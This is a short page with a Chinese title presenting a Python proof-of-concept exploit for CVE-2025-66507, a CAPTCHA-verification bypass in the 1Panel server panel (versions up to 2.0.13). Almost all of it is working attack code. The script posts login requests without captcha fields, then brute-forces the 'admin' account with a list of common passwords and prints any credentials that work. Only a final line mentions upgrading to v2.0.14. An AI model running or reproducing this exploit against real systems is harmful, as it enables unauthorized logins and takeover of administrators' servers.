CVE-2025-66507: 1Panel 2.0.13及以下版本CAPTCHA验证绕过漏洞

# CVE-2025-66507 PoC - 1Panel CAPTCHA Bypass # Target: 1Panel <= 2.0.13 # Attack: Bypass CAPTCHA verification to enable automated login attempts import requests import json TARGET_URL = "http://target-ip:8080" LOGIN_ENDPOINT = f"{TARGET_URL}/api/v1/login" def exploit(): """ Bypass CAPTCHA by manipulating client-controlled parameters. The server trusts client parameters without proper validation. """ # Step 1: Prepare login payload with CAPTCHA bypass # Remove or manipulate CAPTCHA-related parameters login_payload = { "username": "admin", "password": "password_attempt", # Remove captcha parameters to bypass verification # "captcha_id": "", # Commented out - not sent # "captcha_code": "", # Commented out - not sent } # Step 2: Send login request without CAPTCHA headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } try: response = requests.post( LOGIN_ENDPOINT, json=login_payload, headers=headers, timeout=10 ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") # Check if CAPTCHA was bypassed if response.status_code == 200: data = response.json() if data.get("code") == 200: print("[+] CAPTCHA BYPASS SUCCESSFUL!") print("[+] Automated login attempts are now possible") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def brute_force_attack(): """ Perform brute force attack after CAPTCHA bypass. """ passwords = ["admin", "password", "123456", "1panel", "linux"] for pwd in passwords: payload = { "username": "admin", "password": pwd # No CAPTCHA parameters - bypassed } response = requests.post(LOGIN_ENDPOINT, json=payload) if response.status_code == 200: data = response.json() if data.get("code") == 200 and data.get("data"): print(f"[!] Valid credentials found: admin/{pwd}") return True return False if __name__ == "__main__": print("[*] CVE-2025-66507 Exploitation") print("[*] Target: 1Panel <= 2.0.13") if exploit(): print("[*] Initiating brute force attack...") brute_force_attack() print("[*] Mitigation: Upgrade to 1Panel v2.0.14")